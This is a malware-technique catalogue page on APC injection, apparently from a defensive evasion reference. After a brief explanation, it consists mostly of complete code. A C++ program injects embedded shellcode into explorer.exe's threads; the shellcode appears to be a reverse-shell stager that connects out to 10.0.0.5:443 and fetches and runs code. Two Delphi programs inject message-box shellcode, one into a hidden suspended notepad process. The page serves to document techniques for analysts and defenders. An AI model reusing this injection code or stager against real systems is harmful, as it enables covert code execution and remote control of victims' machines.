APC injection

Created the Saturday 23 March 2019. Updated 3 weeks, 6 days ago.

Malware can take advantage of Asynchronous Procedure Calls (APC) to force another thread to execute their custom code by attaching it to the APC Queue of the target thread.

Each thread has a queue of APCs which are waiting for execution upon the target thread entering alterable state.

A thread enters an alert table state if it calls SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, WaitForMultipleObjectsEx, or WaitForSingleObjectEx functions. The malware usually looks for any thread that is in an alterable state, and then calls OpenThread and QueueUserAPC to queue an APC to a thread.


Technique Identifier

U1221


Code Snippets

#include "pch.h"
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>

int main()
{
	unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";

	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
	HANDLE victimProcess = NULL;
	PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
	THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
	std::vector<DWORD> threadIds;
	SIZE_T shellSize = sizeof(buf);
	HANDLE threadHandle = NULL;

	if (Process32First(snapshot, &processEntry)) {
		while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
			Process32Next(snapshot, &processEntry);
		}
	}
	
	victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
	LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
	WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);

	if (Thread32First(snapshot, &threadEntry)) {
		do {
			if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
				threadIds.push_back(threadEntry.th32ThreadID);
			}
		} while (Thread32Next(snapshot, &threadEntry));
	}
	
	for (DWORD threadId : threadIds) {
		threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
		QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
		Sleep(1000 * 2);
	}
	
	return 0;
}

Jean-Pierre LESUEUR

Description

This code demonstrate how to use QueueUserAPC to run code in a remote process.

PoC Steps:

  • Create a new process in suspended state.

Method N°1: * Allocate RWX memory in remote process to host our shellcode. * Copy shellcode to new memory location.

Method N°2: * Create a new memory section. * Map new memory section to current process. * Share new memory section with target process. * Copy shellcode to shared memory location.

  • Implement our shellcode to target process main thread APC queue.
  • Resume target process main thread to execute our shellcode.

⚠️ Embedded shellcode will show a message box on behalf of target process. It is harmless but I always recommend to avoid blindly running shellcode you may find in proof of concepts. Feel free to patch both x86-32 / x86-64 version with your own version.

// Support both x86-32 and x86-64

program APCInjector;

{$APPTYPE CONSOLE}

{$R *.res}

uses
  System.SysUtils,
  WinAPI.Messages,
  WinAPI.Windows;

type
  EWindowsException = class(Exception)
  private
    FLastError : Integer;
  public
    {@C}
    constructor Create(const WinAPI : String); overload;

    {@G}
    property LastError : Integer read FLastError;
  end;


const STATUS_SUCCESS         = NTSTATUS($0);
      THREAD_SET_CONTEXT     = $10;
      THREAD_SUSPEND_RESUME  = $2;
      ViewShare              = 1;
      ViewUnmap              = 2;

type
  SECTION_INHERIT = ViewShare..ViewUnmap;

  ARCH_ULONG  = {$IFDEF WIN64} ULONG64  {$ELSE} ULONG  {$ENDIF};
  ARCH_PULONG = {$IFDEF WIN64} PULONG64 {$ELSE} PULONG {$ENDIF};

  function NtCreateSection(
    SectionHandle    : PHandle;
    DesiredAccess    : ACCESS_MASK;
    ObjectAttributes : Pointer;
    SectionSize      : PLargeInteger;
    Protect          : ULONG;
    Attributes       : ULONG;
    FileHandle       : THandle
  ): NTSTATUS; stdcall; external 'ntdll.dll';

  function NtMapViewOfSection(
      SectionHandle      : THandle;
      ProcessHandle      : THandle;
      BaseAddress        : PPVOID;
      ZeroBits           : ARCH_ULONG;
      CommitSize         : ARCH_ULONG;
      SectionOffset      : PLargeInteger;
      ViewSize           : ARCH_PULONG;
      InheritDisposition : SECTION_INHERIT;
      AllocationType     : ARCH_ULONG;
      Protect            : ARCH_ULONG
  ): NTSTATUS; stdcall; external 'ntdll.dll';

  function NtUnmapViewOfSection(
    ProcessHandle : THandle;
    BaseAddress   : PVOID
  ): NTSTATUS; stdcall; external 'ntdll.dll';

  function NtClose(
    Handle : THandle
  ): NTSTATUS; stdcall; external 'ntdll.dll';

  function NtTestAlert(): DWORD; stdcall; external 'ntdll.dll';

  function OpenThread(
    dwDesiredAccess : DWORD;
    bInheritHandle  : BOOL;
    dwThreadId      : DWORD
  ): DWORD; stdcall; external 'kernel32.dll';


constructor EWindowsException.Create(const WinAPI : String);
var AFormatedMessage : String;
begin
  FLastError := GetLastError();

  AFormatedMessage := Format('___%s: last_err=%d, last_err_msg="%s".', [
      WinAPI,
      FLastError,
      SysErrorMessage(FLastError)
  ]);

  ///
  inherited Create(AFormatedMessage);
end;

var // hWindow               : THandle;
    // AProcessId            : Cardinal;
    // AThreadId             : Integer;
    hThread               : THandle;
    // hRemoteProcess        : THandle;
    pRemotePayloadAddress : Pointer;
    hProcess              : THandle;
    AStartupInfo          : TStartupInfo;
    AProcessInfo          : TProcessInformation;

    {$IFDEF WIN64}
      // Execute a messagebox in target process (x86-64)
      const PAYLOAD : array[0..284-1] of byte = (
          $fc, $48, $81, $e4, $f0, $ff, $ff, $ff, $e8, $d0, $00, $00, $00, $41, $51,
          $41, $50, $52, $51, $56, $48, $31, $d2, $65, $48, $8b, $52, $60, $3e, $48,
          $8b, $52, $18, $3e, $48, $8b, $52, $20, $3e, $48, $8b, $72, $50, $3e, $48,
          $0f, $b7, $4a, $4a, $4d, $31, $c9, $48, $31, $c0, $ac, $3c, $61, $7c, $02,
          $2c, $20, $41, $c1, $c9, $0d, $41, $01, $c1, $e2, $ed, $52, $41, $51, $3e,
          $48, $8b, $52, $20, $3e, $8b, $42, $3c, $48, $01, $d0, $3e, $8b, $80, $88,
          $00, $00, $00, $48, $85, $c0, $74, $6f, $48, $01, $d0, $50, $3e, $8b, $48,
          $18, $3e, $44, $8b, $40, $20, $49, $01, $d0, $e3, $5c, $48, $ff, $c9, $3e,
          $41, $8b, $34, $88, $48, $01, $d6, $4d, $31, $c9, $48, $31, $c0, $ac, $41,
          $c1, $c9, $0d, $41, $01, $c1, $38, $e0, $75, $f1, $3e, $4c, $03, $4c, $24,
          $08, $45, $39, $d1, $75, $d6, $58, $3e, $44, $8b, $40, $24, $49, $01, $d0,
          $66, $3e, $41, $8b, $0c, $48, $3e, $44, $8b, $40, $1c, $49, $01, $d0, $3e,
          $41, $8b, $04, $88, $48, $01, $d0, $41, $58, $41, $58, $5e, $59, $5a, $41,
          $58, $41, $59, $41, $5a, $48, $83, $ec, $20, $41, $52, $ff, $e0, $58, $41,
          $59, $5a, $3e, $48, $8b, $12, $e9, $49, $ff, $ff, $ff, $5d, $49, $c7, $c1,
          $30, $00, $00, $00, $3e, $48, $8d, $95, $fe, $00, $00, $00, $3e, $4c, $8d,
          $85, $0b, $01, $00, $00, $48, $31, $c9, $41, $ba, $45, $83, $56, $07, $ff,
          $d5, $48, $31, $c9, $41, $ba, $f0, $b5, $a2, $56, $ff, $d5, $48, $65, $6c,
          $6c, $6f, $2c, $20, $57, $6f, $72, $6c, $64, $00, $42, $6f, $6f, $00
      );

    {$ELSE}
      // Execute a messagebox in target process (x86-32)
      const PAYLOAD : array[0..236-1] of byte = (
          $d9, $eb, $9b, $d9, $74, $24, $f4, $31, $d2, $b2, $77, $31, $c9, $64, $8b,
          $71, $30, $8b, $76, $0c, $8b, $76, $1c, $8b, $46, $08, $8b, $7e, $20, $8b,
          $36, $38, $4f, $18, $75, $f3, $59, $01, $d1, $ff, $e1, $60, $8b, $6c, $24,
          $24, $8b, $45, $3c, $8b, $54, $28, $78, $01, $ea, $8b, $4a, $18, $8b, $5a,
          $20, $01, $eb, $e3, $34, $49, $8b, $34, $8b, $01, $ee, $31, $ff, $31, $c0,
          $fc, $ac, $84, $c0, $74, $07, $c1, $cf, $0d, $01, $c7, $eb, $f4, $3b, $7c,
          $24, $28, $75, $e1, $8b, $5a, $24, $01, $eb, $66, $8b, $0c, $4b, $8b, $5a,
          $1c, $01, $eb, $8b, $04, $8b, $01, $e8, $89, $44, $24, $1c, $61, $c3, $b2,
          $04, $29, $d4, $89, $e5, $89, $c2, $68, $8e, $4e, $0e, $ec, $52, $e8, $9f,
          $ff, $ff, $ff, $89, $45, $04, $68, $6c, $6c, $20, $41, $68, $33, $32, $2e,
          $64, $68, $75, $73, $65, $72, $30, $db, $88, $5c, $24, $0a, $89, $e6, $56,
          $ff, $55, $04, $89, $c2, $50, $bb, $a8, $a2, $4d, $bc, $87, $1c, $24, $52,
          $e8, $70, $ff, $ff, $ff, $68, $42, $6f, $6f, $58, $31, $db, $88, $5c, $24,
          $03, $89, $e3, $68, $58, $20, $20, $20, $68, $6f, $72, $6c, $64, $68, $6f,
          $2c, $20, $57, $68, $48, $65, $6c, $6c, $31, $c9, $88, $4c, $24, $0c, $89,
          $e1, $31, $d2, $6a, $30, $53, $51, $52, $ff, $d0, $90
      );
    {$ENDIF}


{ Inject_WriteProcessMemory
  This method use the classic WriteProcessMemory method to inject our payload to remote process }
function Inject_WriteProcessMemory(const hProcess : THandle; const pBuffer : PVOID; const ABufferSize : Cardinal) : Pointer;
var ABytesWritten : SIZE_T;
    pAddress      : Pointer;
begin
  result := nil;
  ///

  if not Assigned(pBuffer) or (AbufferSize = 0) then
    exit();

  pAddress := VirtualAllocEx(hProcess, nil, ABufferSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  if not Assigned(pAddress) then
    raise EWindowsException.Create('VirtualAllocEx');
  ///

  if not WriteProcessMemory(hProcess, pAddress, pBuffer, ABufferSize, ABytesWritten) then
    raise EWindowsException.Create('WriteProcessMemory');
  ///

  result := pAddress;
end;

function MapViewOfSection(const ASectionHandle, hProcess : THandle; const ASectionSize : ULONG; const AInherit : SECTION_INHERIT) : Pointer;
var ANTStatus       : NTSTATUS;
    pSectionAddress : Pointer;
begin
  pSectionAddress := nil;

  ANTStatus := NtMapViewOfSection(
      ASectionHandle,
      hProcess,
      @pSectionAddress,
      0,
      0,
      nil,
      @ASectionSize,
      AInherit,
      0,
      PAGE_EXECUTE_READWRITE
  );

  if ANTStatus <> STATUS_SUCCESS then
    raise Exception.Create(Format('NtMapViewOfSection failed, NTStatus=[%d]', [ANTStatus]));

  ///
  result := pSectionAddress;
end;

{ Inject_SharedSection
  This method used a shared section to inject our payload to a remote process }
function Inject_SharedSection(const hProcess : THandle; const pBuffer : PVOID; const ABufferSize : Cardinal) : Pointer;
var ANTStatus             : NTSTATUS;
    ASectionHandle        : THandle;
    pLocalSectionAddress  : Pointer;
    pRemoteSectionAddress : Pointer;
    ASectionSize          : TLargeInteger;
begin
  result := nil;
  ///

  ASectionSize := ABufferSize;

  ASectionHandle := 0;
  pLocalSectionAddress := nil;
  try
    // Create a new memory section
    ANTStatus := NtCreateSection(
      @ASectionHandle,
        SECTION_MAP_READ or SECTION_MAP_WRITE or SECTION_MAP_EXECUTE,
        nil,
        @ASectionSize,
        PAGE_EXECUTE_READWRITE,
        SEC_COMMIT,
        0
    );

    if ANTStatus <> STATUS_SUCCESS then
      raise Exception.Create(Format('NtCreateSection failed, NTStatus=[%d]', [ANTStatus]));
    ///

    // Map new section and share it with target process
    pLocalSectionAddress  := MapViewOfSection(ASectionHandle, GetCurrentProcess(), ABufferSize, ViewUnmap);
    pRemoteSectionAddress := MapViewOfSection(ASectionHandle, hProcess, ABufferSize, ViewShare);

    // Copy our payload to our new section
    CopyMemory(pLocalSectionAddress, pBuffer, ABufferSize);
  finally
    // Unmap section for current process
    if Assigned(pLocalSectionAddress) then
      NtUnmapViewOfSection(GetCurrentProcess(), pLocalSectionAddress);

    // Close section for our current process
    if ASectionHandle <> 0 then
      NtClose(ASectionHandle);
  end;

  ///
  result := pRemoteSectionAddress; // Return payload location in remote process
end;

begin
  try
    (*
      // Bellow code demonstrate how to use FindWindow + GetWindowThreadProcessId and
      // OpenProcess to achieve the same result in an existing process.
      // Bellow method when possible is interesting to avoid iterating on threads.

      // Get target process handle from its window handle
      hWindow := FindWindowW(nil, 'PEView - Untitled');
      if hWindow = 0 then
        raise Exception.Create('Could not find window handle.');
      ///

      // Get target process identifier from its window handle
      AThreadId := GetWindowThreadProcessId(hWindow, AProcessId);
      if AProcessId = 0 then
        raise EWindowsException.Create('GetWindowThreadProcessId');
      ///

      // Open target process
      hRemoteProcess := OpenProcess(PROCESS_VM_OPERATION or PROCESS_VM_WRITE, false, AProcessId);
      if hRemoteProcess = 0 then
        raise EWindowsException.Create('OpenProcess');

      // hThread := OpenThread(THREAD_SET_CONTEXT or THREAD_SUSPEND_RESUME, False, AProcessInfo.hThread);
      // if hThread = 0 then
      //    raise EWindowsException.Create('OpenThread');
    *)

    ZeroMemory(@AProcessInfo, SizeOf(TProcessInformation));
    ZeroMemory(@AStartupInfo, Sizeof(TStartupInfo));

    AStartupInfo.cb          := SizeOf(TStartupInfo);
    AStartupInfo.wShowWindow := SW_HIDE;
    AStartupInfo.dwFlags     := (STARTF_USESHOWWINDOW);

    if not CreateProcessW(
        'c:\Windows\notepad.exe', // Edit here accordingly
        nil,                      // Edit here accordingly
        nil,
        nil,
        False,
        CREATE_SUSPENDED,
        nil,
        nil,
        AStartupInfo,
        AProcessInfo
    ) then
      raise EWindowsException.Create('CreateProcessW');
    try

      try
        // Alternatively you can comment "Inject_SharedSection" and use "Inject_WriteProcessMemory" instead.
        pRemotePayloadAddress := Inject_SharedSection(AProcessInfo.hProcess, @PAYLOAD, Length(PAYLOAD));
        // pRemotePayloadAddress := Inject_WriteProcessMemory(AProcessInfo.hProcess, @PAYLOAD, Length(PAYLOAD));

        if not Assigned(pRemotePayloadAddress) then
          raise Exception.Create('Could not inject buffer to remote process.');

        if not QueueUserAPC(pRemotePayloadAddress, AProcessInfo.hThread, 0) then
          raise EWindowsException.Create('QueueUserAPC');

        ResumeThread(AProcessInfo.hThread);
      finally
        CloseHandle(hThread);
      end;
    finally
      CloseHandle(AProcessInfo.hThread);
    end;
  except
    on E: Exception do
      Writeln(E.ClassName, ': ', E.Message);
  end;
end.

Jean-Pierre LESUEUR

Description

This code snippet demonstrate the use of QueueUserAPC with NtTestAlert to run our shellcode.

⚠️ Embedded shellcode will show a message box on behalf of target process. It is harmless but I always recommend to avoid blindly running shellcode you may find in proof of concepts. Feel free to patch both x86-32 / x86-64 version with your own version.

// Support both x86-32 and x86-64

program APCRun;

{$APPTYPE CONSOLE}

{$R *.res}

uses
  System.SysUtils,
  WinAPI.Messages,
  WinAPI.Windows;

type
  EWindowsException = class(Exception)
  private
    FLastError : Integer;
  public
    {@C}
    constructor Create(const WinAPI : String); overload;

    {@G}
    property LastError : Integer read FLastError;
  end;


const STATUS_SUCCESS = NTSTATUS($0);

function NtTestAlert(): DWORD; stdcall; external 'ntdll.dll';

constructor EWindowsException.Create(const WinAPI : String);
var AFormatedMessage : String;
begin
  FLastError := GetLastError();

  AFormatedMessage := Format('___%s: last_err=%d, last_err_msg="%s".', [
      WinAPI,
      FLastError,
      SysErrorMessage(FLastError)
  ]);

  ///
  inherited Create(AFormatedMessage);
end;

{$IFDEF WIN64}
  // Execute a messagebox in target process (x86-64)
  const PAYLOAD : array[0..284-1] of byte = (
      $fc, $48, $81, $e4, $f0, $ff, $ff, $ff, $e8, $d0, $00, $00, $00, $41, $51,
      $41, $50, $52, $51, $56, $48, $31, $d2, $65, $48, $8b, $52, $60, $3e, $48,
      $8b, $52, $18, $3e, $48, $8b, $52, $20, $3e, $48, $8b, $72, $50, $3e, $48,
      $0f, $b7, $4a, $4a, $4d, $31, $c9, $48, $31, $c0, $ac, $3c, $61, $7c, $02,
      $2c, $20, $41, $c1, $c9, $0d, $41, $01, $c1, $e2, $ed, $52, $41, $51, $3e,
      $48, $8b, $52, $20, $3e, $8b, $42, $3c, $48, $01, $d0, $3e, $8b, $80, $88,
      $00, $00, $00, $48, $85, $c0, $74, $6f, $48, $01, $d0, $50, $3e, $8b, $48,
      $18, $3e, $44, $8b, $40, $20, $49, $01, $d0, $e3, $5c, $48, $ff, $c9, $3e,
      $41, $8b, $34, $88, $48, $01, $d6, $4d, $31, $c9, $48, $31, $c0, $ac, $41,
      $c1, $c9, $0d, $41, $01, $c1, $38, $e0, $75, $f1, $3e, $4c, $03, $4c, $24,
      $08, $45, $39, $d1, $75, $d6, $58, $3e, $44, $8b, $40, $24, $49, $01, $d0,
      $66, $3e, $41, $8b, $0c, $48, $3e, $44, $8b, $40, $1c, $49, $01, $d0, $3e,
      $41, $8b, $04, $88, $48, $01, $d0, $41, $58, $41, $58, $5e, $59, $5a, $41,
      $58, $41, $59, $41, $5a, $48, $83, $ec, $20, $41, $52, $ff, $e0, $58, $41,
      $59, $5a, $3e, $48, $8b, $12, $e9, $49, $ff, $ff, $ff, $5d, $49, $c7, $c1,
      $30, $00, $00, $00, $3e, $48, $8d, $95, $fe, $00, $00, $00, $3e, $4c, $8d,
      $85, $0b, $01, $00, $00, $48, $31, $c9, $41, $ba, $45, $83, $56, $07, $ff,
      $d5, $48, $31, $c9, $41, $ba, $f0, $b5, $a2, $56, $ff, $d5, $48, $65, $6c,
      $6c, $6f, $2c, $20, $57, $6f, $72, $6c, $64, $00, $42, $6f, $6f, $00
  );

{$ELSE}
  // Execute a messagebox in target process (x86-32)
  const PAYLOAD : array[0..236-1] of byte = (
      $d9, $eb, $9b, $d9, $74, $24, $f4, $31, $d2, $b2, $77, $31, $c9, $64, $8b,
      $71, $30, $8b, $76, $0c, $8b, $76, $1c, $8b, $46, $08, $8b, $7e, $20, $8b,
      $36, $38, $4f, $18, $75, $f3, $59, $01, $d1, $ff, $e1, $60, $8b, $6c, $24,
      $24, $8b, $45, $3c, $8b, $54, $28, $78, $01, $ea, $8b, $4a, $18, $8b, $5a,
      $20, $01, $eb, $e3, $34, $49, $8b, $34, $8b, $01, $ee, $31, $ff, $31, $c0,
      $fc, $ac, $84, $c0, $74, $07, $c1, $cf, $0d, $01, $c7, $eb, $f4, $3b, $7c,
      $24, $28, $75, $e1, $8b, $5a, $24, $01, $eb, $66, $8b, $0c, $4b, $8b, $5a,
      $1c, $01, $eb, $8b, $04, $8b, $01, $e8, $89, $44, $24, $1c, $61, $c3, $b2,
      $04, $29, $d4, $89, $e5, $89, $c2, $68, $8e, $4e, $0e, $ec, $52, $e8, $9f,
      $ff, $ff, $ff, $89, $45, $04, $68, $6c, $6c, $20, $41, $68, $33, $32, $2e,
      $64, $68, $75, $73, $65, $72, $30, $db, $88, $5c, $24, $0a, $89, $e6, $56,
      $ff, $55, $04, $89, $c2, $50, $bb, $a8, $a2, $4d, $bc, $87, $1c, $24, $52,
      $e8, $70, $ff, $ff, $ff, $68, $42, $6f, $6f, $58, $31, $db, $88, $5c, $24,
      $03, $89, $e3, $68, $58, $20, $20, $20, $68, $6f, $72, $6c, $64, $68, $6f,
      $2c, $20, $57, $68, $48, $65, $6c, $6c, $31, $c9, $88, $4c, $24, $0c, $89,
      $e1, $31, $d2, $6a, $30, $53, $51, $52, $ff, $d0, $90
  );
{$ENDIF}

var pPayload : Pointer;

begin
  try
    pPayload := VirtualAlloc(nil, Length(PAYLOAD), MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if not Assigned(pPayload) then
      raise EWindowsException.Create('VirtualAlloc');
    ///

    CopyMemory(pPayload, @PAYLOAD, Length(PAYLOAD));

    if not QueueUserAPC(pPayload, GetCurrentThread(), 0) then
      raise EWindowsException.Create('QueueUserAPC');

    NtTestAlert();
  except
    on E: Exception do
      Writeln(E.ClassName, ': ', E.Message);
  end;
end.

Additional Resources

External Links

Subscribe to our Newsletter


The information entered into this form is mandatory. It will be subjected to computer processing. It is processed by computer in order to support our users and readers. The recipients of the data will be : contact@unprotect.it.

According to the Data Protection Act of January 6th, 1978, you have at any time, a right of access to and rectification of all of your personal data. If you wish to exercise this right and gain access to your personal data, please write to Thomas Roccia at contact@unprotect.it.

You may also oppose, for legitimate reasons, the processing of your personal data.